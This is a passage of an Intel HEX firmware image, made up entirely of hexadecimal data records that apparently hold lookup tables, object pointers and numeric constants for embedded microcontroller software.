:10CFE0000000000000000000000000000000000041 :10CFF0000000000000000000000000000000000031 :10D00000000000000000000048CD0200B8B8020097 :10D01000A20200003D0C0100D50B01000000000041 :10D020008D0B010000000000F90C0100750C0100DF :10D03000BD0B010000000000000000000000000027 :10D040000000000000000000B8B802006702000005 :10D0500000000000000000000000000000000000D0 :10D06000000000000000000000000000373D02004A :10D070002352020000000000000000000000000039 :10D08000000000007954020079540200511A010096 :10D09000915702007954020025150100E155020064 :10D0A0003D0D010079540200151F0100E91E010029 :10D0B00041210100695402004B5B02002D0D01006B :10D0C000F7600200791E0100ED1D0100112501002D :10D0D000CF5F0200335F0200391601009B59020046 :10D0E0007158020079540200D95E0200B95302005F :10D0F000B9530200895602007F56020035560200DD :10D1000093560200790F01002B56020021560200AF :10D1100017560200CD0E0100CD0E0100CD0E01000C :10D12000255B02008F54020071250100C75A0200DE :10D13000355A0200F9210100055902005954020034 :10D14000CD520200E1550200995502007D550200C2 :10D15000E15502003B540200EF5802008521010016 :10D16000A75702006CD1020000000000B8B802000E :10D17000D60200003D2A0100A52C0100000000009D :10D18000992A0100352B010000000000312C01001C :10D19000212A010000000000000000000000000043 :10D1A00000000000BCD1020048E00200E962020079 :10D1B000C0E0020004000400D562020098CC020026 :10D1C0001700000002000000CCD102000E11000088 :10D1D000A8D1020096120000B0D102006CB2020089 :10D1E000E4D1020098CC0200170000000200000009 :10D1F000F4D10200860F0000261000002610000067 :10D2000034AD02000000000000000000352D0100D8 :10D21000252D01002D2D01000CE00200C52D01007F :10D220000CE00200F92E010098CC0200170000006B :10D230000200000048D2020098CC02001700000053 :10D240000200000058D202002E0C000020D2020082 :10D250000605000018D20200860F00001E0C000018 :10D26000260C000070D202006CB2020038D202001C :10D27000B8B802008401000000000000852E010003 :10D28000000000002F63020000000000000000000A :10D29000ED2D010000000000000000000000000073 :10D2A000000000000000000028D202000000000082 :10D2B000000000002D000000416302002500000076 :10D2C0004163020026000000416302009F0000004D :10D2D000352F01002F000000352F0100DE00000077 :10D2E000352F01008D010000416302003000000075 :10D2F00041630200D4000000352F01007D010000D1 :10D30000352F0100280000004363020024D30200EF :10D310000200000024D302000400000024D3020015 :10D3200001000000B8B802007E020000AD34010028 :10D3300000000000000000000000000000000000ED :10D3400000000000C13401000000000000000000E7 :10D3500000000000000000000000000000000000CD :10D36000B8B80200670200000000000000000000E2 :10D3700000000000000000000000000000000000AD :10D3800000000000373D02001D35010000000000D4 :10D390000000000000000000000000006CD102004E :10D3A00002000000860800001E0A00006CD1020086 :10D3B00008000000E60800003E0B0000C60900005F :10D3C0006E0900003E0B00009E0800003E0B0000AE :10D3D000960A00006CD10200190000000609000046 :10D3E0003E090000D609000056090000660A000048 :10D3F000560A00004E0900003E090000D609000050 :10D4000056090000CE0A0000C60A00004E090000BE :10D410003E0900003609000016080000660A0000F8 :10D42000F60900006609000006080000FE0700007B :10D430003E080000660A0000CE0A0000C60A00008E :10D440006CD1020030000000D6080000F609000090 :10D45000CE0A0000EE070000F6070000EE0700000D :10D46000CE0A0000F6090000D6080000F609000008 :10D47000CE0A0000EE070000F6070000EE070000ED :10D48000CE0A0000F6090000660A0000EE07000060 :10D49000DE080000660900006E0900006609000051 :10D4A0009E0800000E080000D6080000F6090000E3 :10D4B000CE0A0000EE070000F6070000EE070000AD :10D4C000CE0A0000F6090000CE0A00004E08000057 :10D4D0008E090000660A00009E0A0000EE070000A8 :10D4E000DE0800006E090000D6080000F609000002 :10D4F000CE0A0000F6090000CE0A0000660A00000D :10D50000F6090000660900006CD102002800000046 :10D510001E0800004E080000160900006608000002 :10D52000360800003E0B00002E0800004E080000E8 :10D530001609000066080000360800003E0B0000D7 :10D5400036080000160A00006E090000F609000007 :10D55000660A0000F60900006E090000F6090000E6 :10D560006E08000016090000660900009E08000011 :10D57000760800003E0B00008E080000160900002F :10D58000660900009E080000760800003E0B0000BF :10D5900096080000160A00006E090000F609000057 :10D5A000660A0000F60900006E090000F609000096 :10D5B0006CD102000A000000460B0000CE0A0000F9 :10D5C000CE0A0000CE0A00005E0A0000560B0000E2 :10D5D000660A0000660A0000660A0000EE09000004 :10D5E0006CD10200120000009E0900006E090000CC :10D5F000F6090000260900000E0A000026090000B6 :10D600000E0A00002E0900003E0900006609000015 :10D610006E090000F60900009E080000660900007F :10D620002E0A00006E080000B6090000560900002E :10D630006CD102000B000000EE0800004E09000053 :10D640003E0900005609000086090000BE090000DE :10D65000CE0900003E0900004E09000056080000F7 :10D66000EE0800006CD1020012000000D608000095 :10D670009E0800006E0900003E090000AE0A00008E :10D680003E090000AE0A00006E0A0000CE0A00004B :10D690009E0800009E080000CE0A00003E0900001F :10D6A0008E0A00003E0900008E0A0000660A000093 :10D6B0006E0900006CD1020005000000160B00008E :10D6C000660A0000F6090000660900009E080000D6 :10D6D0006CD10200050000001E0900006609000070 :10D6E000F6090000660A0000CE0A00006CD10200B4 :10D6F0006A0000007E0A0000D60A0000C60800008A :10D700007E0900006E080000AE090000A6080000B7 :10D71000760800004E080000AE0800006609000010 :10D72000BE090000A60800006E080000B608000050 :10D730006E0900006E0A0000D60A00006E090000A3 :10D740006E0A0000A60800006609000066080000D6 :10D75000AE08000066080000760900006E0A0000AE :10D76000DE0A00006E0900006E0A0000A608000034 :10D770006E09000066080000A60900006E0900009E :10D7800066090000A608000066080000AE08000058 :10D79000C60900006E080000AE0800006E09000017 :10D7A0006E0A0000A608000066090000A608000036 :10D7B00066080000BE08000066080000AE08000011 :10D7C00066080000860A0000D60A000096080000DD :10D7D000860A0000D60A00004E080000AE080000CD :10D7E0006E09000066080000160A00006E090000BD :10D7F000F60900006E0A0000760800004E080000DE :10D80000860A0000D60A00004E0800006E0A0000DA :10D81000160A00006E090000A60800006608000055 :10D820006E0A00006E090000F60900006E0A000092 :10D8300096080000860A0000D60A0000960800003C :10D84000860A0000D60A00004E0800004E080000BC :10D85000AE0800006E090000660800006E0A0000B5 :10D86000D60A00006E0A0000960800008E0800002C :10D87000F60700004E0800006E0A0000D60A0000FD :10D880004E080000160A00006E090000F6090000AC :10D890006E0A000076080000AE0800006CD102009D :10D8A0001E000000060A0000F6090000660A0000DB :10D8B000CE0A0000CE0A0000660A0000F609000049 :10D8C000660900009E0800009E080000660900002E :10D8D000F60900004E0A0000C6090000EE0900002B :10D8E0003E0A0000F6090000660A0000CE0A0000A9 :10D8F000CE0A0000660A0000F60900006609000072 :10D900009E0800009E08000066090000F60900005D :10D91000E6090000460900005E0900006CD1020023 :10D9200006000000160B00006E0900009E080000B3 :10D93000060B00008E0800002E0900006CD10200CA :10D9400006000000FE0A000016090000F6090000AB :10D95000260B0000260A00002E0B00006CD10200EE :10D9600040000000FE080000F6090000CE0A00009A :10D9700016090000F6090000F60A0000160900006A :10D98000F6090000F6080000F6090000CE0A0000C3 :10D9900016090000F6090000F60A0000160900004A :10D9A000F6090000F608000066090000CE0A000033 :10D9B000A6090000660A0000F60A0000A609000099 :10D9C000660A0000F608000066090000CE0A0000A2 :10D9D000A6090000660A0000F60A0000A609000079 :10D9E000660A00005E08000096090000CE0A0000EA :10D9F000A6090000660A0000F60A0000A609000059 :10DA0000660A00005E08000096090000CE0A0000C9 :10DA1000A6090000660A0000F60A0000A609000038 :10DA2000660A0000F6080000F6090000CE0A0000B1 :10DA300016090000F6090000F60A000016090000A9 :10DA4000F6090000F6080000F6090000CE0A000002 :10DA500016090000F6090000F60A00001609000089 :10DA6000F60900006CD10200090000000609000060 :10DA7000EE0A00006E0A0000CE0A0000E60A00006E :10DA8000CE0A00003E0B00004E080000F608000021 :10DA90006CD102004F000000AE09000066080000D3 :10DAA0003E0B00004E0800004E080000F607000084 :10DAB0004E0800000E0B00003E0B0000660900003F :10DAC000660900003E0B0000660800001609000011 :10DAD0003E0B00009E0800009E0800003E0B000068 :10DAE00066090000460A00003E0900001608000012 :10DAF0003E0B0000EE070000EE070000D60A000013 :10DB0000EE070000760A00003E0B0000F609000058 :10DB1000F60900003E0B00009E08000066080000A9 :10DB20003E0B00004E0800004E0800003E0B0000B7 :10DB300016090000DE090000BE09000066080000AA :10DB40003E0B00004E0800004E080000F6070000E3 :10DB50004E0800007E0800003E0B0000CE0A0000C8 :10DB6000CE0A00003E0B000066090000A608000077 :10DB70003E0B0000EE070000EE0700003E0B000029 :10DB8000EE070000460800001E0B00008E0A000091 :10DB90002E080000EE070000D60A0000EE07000085 :10DBA0002E0A00002E080000EE070000D60A000032 :10DBB000EE070000660900003E0B0000A60800000A :10DBC000660900003E0B0000A6080000C609000020 :10DBD0005E0B00006CD102000D000000FE0800008A :10DBE000660900002E0A0000CE0A0000BE090000EF :10DBF000F6090000AE0A0000EE070000260A000049 :10DC0000660A0000260B00004E08000036090000DE :10DC10006CD1020007000000FE0900004E0B00005E :10DC2000860900004E0B0000D60900004E0B0000D4 :10DC3000CE0800006CD10200120000000E090000A6 :10DC4000B60A0000A60A0000C60A00005609000035 :10DC50002E0B0000260A0000C60A0000560900002C :10DC6000B60A00002E080000360900002608000051 :10DC7000A60A0000BE0A0000360A0000A60A00003C :10DC8000360B0000B8B80200670200000000000078 :10DC90000000000000000000000000000000000084 :10DCA0000000000000000000373D0200317002005B :10DCB0000000000000000000000000000000000064 :10DCC000A2000000A7000000A70000007F000000E5 :10DCD00080000000E20000003C0000003C0000006A :10DCE0000000000000000000E10000003C00000017 :10DCF0003B0000000000000000000000C800000021 :10DD000000000000000000003600000037000000A6 :10DD1000C700000000000000000000003600000006 :10DD20003600000028DD0200B8B80200CC01000077 :10DD30009545010000000000000000005B3D02006E :10DD400000000000000000000000000000000000D3 :10DD500000000000000000000000000000000000C3 :10DD600000000000000001000000020000000400AC :10DD700000000000C1000000C2000000C30000005D :10DD8000C4000000C5000000C6000000C70000007D :10DD9000C8000000C9000000CA000000CB0000005D :10DDA00098CC02004700000008000000D0DD02000F :10DDB0000CE002005948010048E00200154901004A :10DDC00048E00200454901000CE0020081490100E1 :10DDD000CE05000018DE0200D605000020DE02009D :10DDE000DE05000028DE0200E6050000B0DD0200CE :10DDF000EE05000010DE0200F6050000B8DD0200AE :10DE0000FE050000C0DD020006060000C8DD0200BD :10DE10000CE00200F14801000CE002001D48010086 :10DE20000CE00200314801000CE00200454801000E :10DE300034DE0200B8B80200B700000000000000A5 :10DE400000000000000000000000000000000000D2 :10DE500000000000000000000000000000000000C2 :10DE6000000000000000000000000000A0DD020033 :10DE7000B8B80200D300000000000000000000005D :10DE80000000000000000000000000000000000092 :10DE90000000000000000000000000000000000082 :10DEA0000000000000000000B4DE02000CE00200F0 :10DEB000994E010098CC02002700000004000000E9 :10DEC000C4DE0200760B00002CDF02007E1500008D :10DED000ACDE0200AE06000040DF0200B606000025 :10DEE0004CDF0200DB000200A0860100DC00030022 :10DEF00024DD0200DD00030024DD0200D700020162 :10DF000000000000D800020100000000DA0001005B :10DF100000000000D700020100000000D90003014A :10DF200000000000DA00010000000000C0E0020074 :10DF30000300FFFF914D010070DE0200E82A00207F :10DF4000C0E002000300FFFFE54D0100C0E0020059 :10DF50000300FFFF414E0100B8B802004502000077 :10DF60000000000000000000AF7102005B3D0200F5 :10DF700000000000000000000000000000000000A1 :10DF80000000000000000000000000000000000091 :10DF900000000000B8B802004502000000000000C8 :10DFA00000000000114F01005B3D02000000000076 :10DFB0000000000000000000000000000000000061 :10DFC0000000000000000000000000000000000051 :10DFD000B8B8020045020000000000000000000088 :10DFE0003D7102005B3D02000000000000000000E7 :10DFF0000000000000000000000000000000000021 :10E00000000000000000000000000000B8B802009E :10E0100045020000000000000000000055710200F1 :10E020005B3D020000000000000000000000000056 :10E0300000000000000000000000000000000000E0 :10E040000000000000000000B8B802004502000017 :10E050000000000000000000737102005B3D020040 :10E0600000000000000000000000000000000000B0 :10E0700000000000000000000000000000000000A0 :10E0800000000000B8B802004502000000000000D7 :10E0900000000000917102005B3D020000000000E2 :10E0A0000000000000000000000000000000000070 :10E0B0000000000000000000000000000000000060 :10E0C000B8B8020045020000000000000000000097 :10E0D0004F7202005B3D02000000000000000000E3 :10E0E0000000000000000000000000000000000030 :10E0F00000000000000000000000000004E1020039 :10E10000C1010000B8B8020001000000C1510100C7 :10E1100000000000000000000000000000000000FF :10E1200000000000000000000000000000000000EF :10E1300000000000000000000000000000000000DF :10E1400005000000050000000300000009000000B9 :10E150000D040000D96E0300000000000000000064 :10E160000A000000F20200005F6F0300626F03000C :10E170006C6F0300706F0300746F0300786F03000F :10E180007E6F0300846F03008C6F0300906F0300A9 :10E19000B36F0300BE6F0300C96F0300D66F0300A7 :10E1A000E36F0300EF6F0300FB6F030006700300D3 :10E1B00010700300187003001F7003002770030025 :10E1C000357003003E700300497003005170030076 :10E1D0005970030068700300707003007E700300C4 :10E1E000857003008F7003009D700300A47003000E :10E1F000AF700300C4700300DF700300F27003000F :10E2000001710300117103001F7103002E710300DF :10E210004271030063710300847103009171030074 :10E220009A710300A7710300B0710300B871030075 :10E23000BD710300C8710300D5710300DC710300D8 :10E24000E3710300EA710300F1710300F871030048 :10E25000FF710300067203000D72030014720300C5 :10E260001B720300237203002B720300337203003E :10E270003B720300437203004B72030053720300AE :10E280005B720300637203006E7203007972030015 :10E29000837203008F72030099720300A972030056 :10E2A000B1720300B9720300C1720300CA720300A5 :10E2B000D3720300DA720300E6720300F272030005 :10E2C000FF7203000D73030018730300257303002E :10E2D0003173030038730300407303004E7303006F :10E2E000567303005C730300647303006F730300D1 :10E2F00077730300807303008C730300947303002F :10E300009F730300A5730300AB730300B073030096 :10E31000BA730300C3730300CC730300D573030007 :10E32000DE730300E7730300F0730300F973030067 :10E33000027403000B740300157403001F740300C0 :10E3400029740300347403003E740300497403000D :10E35000537403005E740300687403007374030055 :10E360007E7403008E7403009B740300A574030085 :10E37000B5740300BE740300CD740300D6740300AB :10E38000DC740300ED740300FC7403000C750300DF :10E39000187503001F75030028750300317503000D :10E3A0003A750300487503004F7503005775030065 :10E3B000627503006E7503007C75030084750300AD :10E3C0008C750300967503009E750300A975030004 :10E3D000B1750300BE750300CB750300DD75030046 :10E3E000EE750300017603000B760300127603003E :10E3F0001B760300237603002C760300347603009B :10E400003B76030042760300497603005076030012 :10E41000587603005F7603006D7603007F76030075 :10E42000847603008A760300927603009B760300CD :10E43000AC760300B7760300C2760300CF76030004 :10E44000DD760300EB760300037703001377030008 :10E450001B770300237703002B7703003877030033 :10E460004A7703005777030065770300747703004A :10E470007977030080770300877703008F770300A5 :10E4800099770300A5770300B0770300B577030001 :10E49000BA770300BF770300C7770300D97703007B :10E4A000E3770300ED770300FD77030009780300AD :10E4B0001D7803003278030040780300467803009B :10E4C0004D780300557803005C7803006078030002 :10E4D000667803006F780300767803007C78030089 :10E4E000827803008A78030096780300A1780300FD :10E4F000A9780300AF780300B6780300C278030060 :10E50000CE780300D4780300DC780300E4780300BD :10E51000EE780300F978030001790300097903001C :10E5200015790300237903002D7903003479030062 :10E53000407903004A7903005179030057790300B9 :10E54000647903006F79030079790300857903000A :10E550008E79030099790300A5790300AF79030050 :10E56000B3790300B8790300BF790300C6790300CB :10E57000CB790300D0790300D7790300DE7903005B :10E58000E4790300EA790300F0790300F6790300E7 :10E59000FA790300017A0300067A03000B7A03007C :10E5A000127A0300197A03001E7A0300257A030009 :10E5B0002B7A0300317A0300357A03003A7A03009C :10E5C000407A0300487A0300507A0300577A030028 :10E5D0005E7A0300657A03006A7A0300717A0300A9 :10E5E000787A03007D7A0300847A03008B7A030033 :10E5F000927A0300977A03009E7A0300A57A0300BB :10E60000AC7A0300B37A0300B97A0300BF7A03003F :10E61000C57A0300CB7A0300D17A0300D57A0300D0 :10E62000DA7A0300E27A0300E97A0300F07A030061 :10E63000F57A0300FA7A0300017B0300067B0300EE :10E640000D7B0300147B03001A7B0300207B030077 :10E65000267B03002C7B0300327B0300387B030006 :10E660003E7B0300427B0300497B03004E7B03009B :10E67000557B03005A7B0300617B0300677B03002B :10E680006D7B0300737B0300797B03007F7B0300BA :10E69000857B03008B7B0300927B0300967B03004A :10E6A0009B7B0300A17B0300A97B0300B07B0300DD :10E6B000B77B0300BE7B0300C37B0300C97B030061 :10E6C000CF7B0300D57B0300DB7B0300E17B0300F2 :10E6D000E57B0300EA7B0300F17B0300F87B03008A :10E6E000FF7B0300047C03000B7C0300127C03000F :10E6F000177C03001E7C0300247C03002A7C03009B :10E70000307C0300367C03003A7C0300417C03002C :10E71000477C03004D7C0300537C0300627C0300B4 :10E72000697C0300707C03007B7C0300827C030017 :10E730008B7C0300927C0300997C03009E7C030089 :10E74000A37C0300A97C0300B37C0300BE7C030010 :10E75000C97C0300CF7C0300D67C0300E47C03006B :10E76000EA7C0300F17C0300F87C0300FF7C0300DB :10E77000067D0300177D0300227D03002D7D03002D :10E78000357D03003E7D03004C7D0300537D030077 :10E790005F7D0300697D0300727D03007C7D0300C3 :10E7A000847D0300917D03009E7D0300A77D03000F :10E7B000B27D0300B97D0300BE7D0300C67D03006A :10E7C000D47D0300DE7D0300E97D0300F37D0300BB :10E7D000FD7D0300077E0300107E03001B7E030007 :10E7E000257E03002F7E0300367E0300437E030058 :10E7F0004C7E0300527E03005E7E0300657E0300B4 :10E800006E7E0300767E03007E7E0300867E03001C :10E81000927E03009A7E0300A37E0300B07E030075 :10E82000C07E0300C77E0300D17E0300E67E0300A6 :10E83000F57E0300FE7E0300067F0300107F0300C9 :10E84000187F0300247F03002E7F0300367F030020 :10E85000457F0300527F03005F7F0300717F030049 :10E86000827F0300937F0300A37F0300AE7F03003A :10E87000B97F0300C57F0300D57F0300E37F03005A :10E88000F67F0300038003000E8003002280030054 :10E89000308003003E8003004A800300558003005F :10E8A0006B80030075800300838003009380030066 :10E8B000A2800300B2800300C0800300CD8003006B :10E8C000D9800300E8800300F5800300098103007C :10E8D000138103001E810300308103003B8103008C :10E8E00047810300568103006481030070810300A7 :10E8F00079810300848103008D8103009B810300E3 :10E90000A9810300B2810300BD810300CA81030015 :10E91000D5810300E0810300E9810300F381030056 :10E92000FC81030007820300148203001F8203009E :10E9300029820300348203003F8203004E820300D9 :10E940005F8203006A8203007982030087820300EA :10E95000918203009B820300AB820300B18203001B :10E96000B8820300BE820300C6820300CC8203008B :10E97000D3820300DC820300E3820300EB82030006 :10E98000F2820300FE820300048303000B83030072 :10E9900013830300198303001E83030025830300F0 :10E9A000348303003F830300448303005083030048 :10E9B0005B830300678303006F8303007A83030094 :10E9C000858303008C83030092830300A0830300EC :10E9D000A8830300B2830300B8830300BE8303004F :10E9E000C8830300D0830300DB830300E1830300BB :10E9F000E9830300F1830300F9830300008403002B :10EA00000A840300148403001B840300278403008A :10EA100034840300488403004E84030058840300B8 :10EA200066840300708403007984030082840300F9 :10EA30008F84030095840300A0840300AC8403004A :10EA4000B3840300BA840300C1840300C7840300B5 :10EA5000D0840300D7840300E0840300E78403002C :10EA6000EF840300F7840300FE840300078503009E :10EA70000F8503001C8503002785030033850300F1 :10EA80003E850300438503004F8503005585030041 :10EA90005F85030069850300738503007A850300A1 :10EAA00086850300948503009A8503009F850300F3 :10EAB000B0850300B8850300C1850300C785030046 :10EAC000D6850300EC850300F6850300008603006D :10EAD0000D86030019860300248603002C8603009C :10EAE00039860300438603004B86030055860300E6 :10EAF000628603006D8603007A8603008486030025 :10EB00008C860300938603009E860300A58603007F :10EB1000B0860300B6860300BD860300C5860300E9 :10EB2000CD860300D3860300DA860300E286030065 :10EB3000E9860300EF860300F6860300FF860300E4 :10EB4000088703000E870300168703001C87030055 :10EB5000228703002B8703003187030038870300D7 :10EB60003E870300448703004C870300548703005B :10EB70005B87030067870300728703007D870300BC :10EB8000838703008A870300938703009D87030020 :10EB9000A3870300AA870300B1870300B987030096 :10EBA000BF870300CC870300D3870300D987030006 :10EBB000E2870300E8870300EF870300FB87030079 :10EBC00001880300088803001488030019880300E3 :10EBD000248803002A880300348803003A8803004D :10EBE00042880300548803005B88030067880300A1 :10EBF00071880300798803008088030093880300EC :10EC00009C880300A6880300AD880300B788030032 :10EC1000C2880300CA880300D3880300DB8803008E :10EC2000E4880300ED880300F4880300FB880300F8 :10EC30000189030007890300118903001E8903006D :10EC4000248903002F8903003A89030041890300C6 :10EC50004A8903005289030059890300658903002A :10EC60007289030081890300888903008E8903006B :10EC7000958903009D890300A4890300AC890300E2 :10EC8000B2890300B8890300C0890300D789030053 :10EC9000F5890300FB890300018A03000D8A030044 :10ECA000158A0300218A03002E8A0300398A030093 :10ECB000448A03004B8A03005B8A0300668A0300D0 :10ECC0006E8A0300768A03007D8A03008C8A030023 :10ECD000938A03009A8A0300A28A0300AE8A030083 :10ECE000B78A0300C58A0300CE8A0300D68A0300D0 :10ECF000E08A0300E88A0300F08A0300F98A03002F :10ED0000088B03000E8B0300148B03001A8B030087 :10ED1000258B03002B8B0300318B0300368B030004 :10ED20003B8B0300418B03004A8B0300518B030094 :10ED300098CC0200170100002200000040ED020004 :10ED4000860F0000BE0000006E02000064CA0200D0 :10ED5000FE04000024000020960500005CAE0200C6 :10ED60009E05000068AE0200C605000030DE02000D :10ED70006E060000F89B0200A606000038DF0200C5 :10ED80006E0B000014000020EE0B000004000020B9 :10ED9000C600000064EE0200CE00000074EE020027 :10EDA000D60000006CEE0200DE00000058EE02000B :10EDB000E60000007CEE0200A601000000CF020089 :10EDC000AE01000048CF0200B601000058CF02009B :10EDD000BE01000060CF0200C601000068CF020043 :10EDE000CE01000070CF0200D601000078CF0200F3 :10EDF000DE01000080CF0200E601000088CF0200A3 :10EE0000EE01000090CF0200F601000008CF0200E2 :10EE1000FE01000010CF02000602000018CF020021 :10EE20000E02000020CF02001602000028CF0200D0 :10EE30001E02000030CF02002602000038CF020080 :10EE40002E02000040CF02003602000050CF020028 :10EE50006CB2020030ED0200C0E0020000000100D0 :10EE60000D590100D0DF020085580100D0DF0200FB :10EE7000177602000CE0020095580100D0DF020076 :10EE8000D558010098CC02002F00000005000000BA :10EE900094EE0200860F00009E0C00002E1500006C :10EEA000CCEE0200EE0C0000BCEE0200FE0C0000F6 :10EEB000C4EE0200A60C000060EF0200D0DF0200EA :10EEC000C16E00000CE00200096F00000CE00200BF :10EED0000D6D00006CB2020084EE0200960100008D :10EEE0009701000098010000990100009E010000B8 :10EEF00040BB02000000000017000000BC8B0300B4 :10EF000040BB020000000000080000004070030049 :10EF1000A49C02000500000040EF020000EF020088 :10EF200030EF020050EF0200F0EE0200DCEE0200D3 :10EF300040BB02000000000005000000598B0300E8 :10EF400040BB020000000000080000004070030009 :10EF500040BB0200000000005C0000005F8B03006B :10EF6000D0DF02002D590100000000000000000069 :10EF70003559010025760200C0E002000400FFFFC1 :10EF8000FD5A01000CE00200056101000CE00200E6 :10EF9000196001000CE00200715B01000CE002004E :10EFA000A15B01000CE00200957602000CE002007B :10EFB000D15B01000CE00200ED5B0100C0E002004B :10EFC000000001005161010048E00200A976020042 :10EFD000C0E0020004000300B55F0100D0DF0200C2 :10EFE000E55A010048E002008D5F01000CE00200DC :10EFF000077702000CE00200B77602000CE0020086 :10F00000193D0200C0E0020000000100696001003B :10F010000CE002008B7602000CE00200A9CC00009C :10F02000D0DF0200F15A0100C0E002000300FFFF40 :10F0300013770200C0E002000300FFFF1D7702000B :10F040000CE00200C56001000CE00200C576020081 :10F050000CE00200655D0100C0E002000400030056 :10F06000E1600100C0E002000100FFFFF95D010066 :10F070000CE00200AD5E0100C0E0020002000200F0 :10F08000D95E010084E00200F95F0100C0E00200E7 :10F090000300FFFF515F0100C0E002000200020018 :10F0A000D37602006CB20200ACF0020098CC0200F1 :10F0B000D70200005A000000BCF00200860F0000DA :10F0C00076100000DE0E000078EF0200460F000010 :10F0D000ECB60200AE0F000084EF020066100000E4 :10F0E000BCAD02009E10000020B902008610000096 :10F0F00070AD02003E11000098CC0200A611000085 :10F10000F8B60200DE11000074B60200EE11000035 :10F110000CAB020026120000C8A80200A6120000D4 :10F1200004C602009E130000FCC10200DE130000B2 :10F1300074C502008E140000F09A0200161500003B :10F140000CD002004E150000D0AA02009615000057 :10F1500004A902004E05000044BC0200061600008F :10F1600040BB02003E1600007CB80200B61600004C :10F170006CD10200BE160000B8B802003E170000B5 :10F18000689C0200C610000004B80200F6150000DA :10F1900040B802000E0E0000FCE00200E60F000086 :10F1A0008CEF02000610000094EF0200B60B000086 :10F1B0009CEF020056100000A4EF0200AE10000009 :10F1C000ACEF0200BE100000B4EF02005E110000C0 :10F1D000BCEF02007E110000C8EF0200AE1100007B :10F1E000A89A0200B6110000B49A02004E12000064 :10F1F000D0EF02009E15000084F0020056120000BD :10F20000DCEF02005E120000E4EF02006612000074 :10F21000ECEF02009E000000C0C302007E1200005E :10F22000F4EF020086120000FCEF0200A6000000CE :10F2300004F00200EE120000F4B702000E1300000A :10F24000FCB702003613000010F002009613000015 :10F2500018F00200AE13000020F00200EE130000D0 :10F2600028F002002E14000034F002007E1400008A :10F2700040F002009614000048F00200AE140000B6 :10F2800050F00200E614000058F00200EE140000F6 :10F2900064F002003E15000070F0020066150000E8 :10F2A00078F00200CE1500008CF002003616000047 :10F2B00098F00200FE0D0000E4A10200E60D00003F :10F2C00030A10200EE0D00006CA10200F60D00005E :10F2D000A8A10200060E000020A20200160E0000E7 :10F2E0005CA202001E0E000098A20200260E000082 :10F2F000D4A202002E0E000010A30200360E000061 :10F300004CA30200460E0000C4A302003E0E000003 :10F3100088A302004E0E000000A40200560E00005A :10F320003CA402005E0E000078A402006E0E0000F5 :10F33000B4A40200760E0000F0A40200860E0000C5 :10F340002CA502008E0E000068A50200960E00009B :10F35000A4A502009E0E0000E0A50200A60E00007B :10F360001CA60200AE0E000058A60200B60E000059 :10F3700094A60200BE0E0000D0A60200C60E000039 :10F380000CA702009E14000058B60200830E030072 :10F39000966D03007E0E0300F58C0300FF8C0300C6 :10F3A000038D0300068D03000D8D0300C6130300BB :10F3B000138D0300C79003001C8D0300208D0300F4 :10F3C000258D03002A8D0300318D0300C007030043 :10F3D000C08A0300C35D0300228D03006612030090 :10F3E000EF70030082700300398D0300255E030077 :10F3F000408D0300C1070300D4770300DE43030000 :10F40000448D0300C4070300BA0703009B84030074 :10F410004B8D03000600000000000000000000000B :10F42000FFFF0000000000000000000000000000DE :10F43000517C0200537C0200977C0200997C020000 :10F440000000000000000000517C0200537C02001C :10F45000957C0200A77C0200557C0200717C0200B2 :10F46000757C0200917C0200156F01001D6F010088 :10F47000897D02000000000000000000517C0200B5 :10F48000537C0200657E0200677E02004973010022 :10F49000457E0200617E020051730100757E02000C :10F4A000010000001700000046000000A30000005B :10F4B0005F010000D6020000C4050000A00B0000A0 :10F4C0000000000000000000E5860200537C0200FE :10F4D000897B010069840200E8F402000300000057 :10F4E00000F502000800000002000000000000001B :10F4F00004000000010000000800000002000000FD :10F50000C40900000000000088130000080000008B :10F510001027000010000000204E0000180000001E :10F520008038010020000000007102002800000067 :10F5300000E20400300000000088130038000000E2 :10F540000000000000000000517C02007D890200E4 :10F550002587010087890200557C0200717C02002A :10F56000757C0200917C02003186010069870100F0 :10F57000897D0200BCFFFFFF00000000517C0200FB :10F580002186010049870100598701001587010084 :10F59000457E0200617E020035880100757E020012 :10F5A000B0F5020003000000C8F5020008000000EA :10F5B0000200000000000000040000000100000044 :10F5C0000800000002000000E2040000000000004B :10F5D000C4090000080000008813000010000000AB :10F5E0001027000018000000204E0000200000003E :10F5F0008038010028000000007102003000000087 :10F6000000C40900380000000000000000000000F5 :10F61000517C0200AD89020075890100B7890200A2 :10F62000557C0200717C0200757C0200917C020016 :10F63000C58801008D890100897D020044F6020021 :10F640000B000000D430000000000000A8610000A2 :10F650002000000050C3000040000000A086010010 :10F6600060000000400D030080000000801A0600CA :10F670008800000000350C0090000000006A1800AF :10F68000B000000000D43000D000000000A86100ED :10F69000F00000000050C300F8000000000000006F :10F6A00000000000517C0200DD890200618A010037 :10F6B000E7890200798A0100457E0200617E02002E :10F6C000198B0100757E0200D8F6020004000000CC :10F6D000F8F602000900000002000000000000002F :10F6E00004000000100000000800000020000000DE :10F6F00010000000300000006902000080000000DF :10F70000E802000090000000C40900007000000042 :10F710008813000060000000102700005000000067 :10F72000204E000040000000409C0000300000001F :10F73000A08601002000000040420F0010000000E1 :10F740000000000000000000517C02000D8A020051 :10F750007D8C0100178A0200557C0200717C02003A :10F76000757C0200917C0200E98B0100958C010000 :10F77000897D02007CF702000400000010270000D1 :10F780000C000000204E00000800000050C30000E4 :10F7900004000000A086010000000000000000003E :10F7A00000000000517C02003D8A0200E58D01004E :10F7B000478A0200858D0100457E0200617E0200BD :10F7C000FD8D0100757E0200FFFF010001000000B9 :10F7D00000000000000000007D8E02007F8E02000D :10F7E00000000000000000009D8E0200CB8E020091 :10F7F00000000000000000006D7B01007D8402001D :10F80000358F02000000000000000000E9970100B1 :10F81000AB8F02008D8F020000000000000000008E :10F820000000000000000000F590020034F8020023 :10F830001C2D00208DA6010019A701001D940200B7 :10F840001F94020031A70100010000000070004079 :10F8500004000000020000000070004008000000EA :10F8600003000000007000401000000004000000D1 :10F870000070004020000000050000000070004003 :10F880004000000006000000007000408000000002 :10F89000FF000000FFFFFFFF00000000B0040000B9 :10F8A00000F004006009000000D00900C012000050 :10F8B00000B01300802500000050270040380000F1 :10F8C00000003B00004B000000A04E0080700000D4 :10F8D00000F07500127A0000000080000096000021 :10F8E00000509D0000E1000000F0EB00002C010042 :10F8F00000903A0100C2010000E0D701008403003B :10F9000000B0AF0390D0030000000004000807001F :10F9100000705F0700100E00A4DFBE0E40420F0013 :10F920000000001006B3010094B2010000B2010013 :10F93000FEB2010000B201009AB2010000B2010063 :10F94000FEB2010094B2010094B201009AB201002B :10F95000FEB20100A4B20100A4B20100A4B20100F1 :10F96000E2B2010092B2010000B201009AB20100BD :10F9700000B2010092B2010002B2010002B2010025 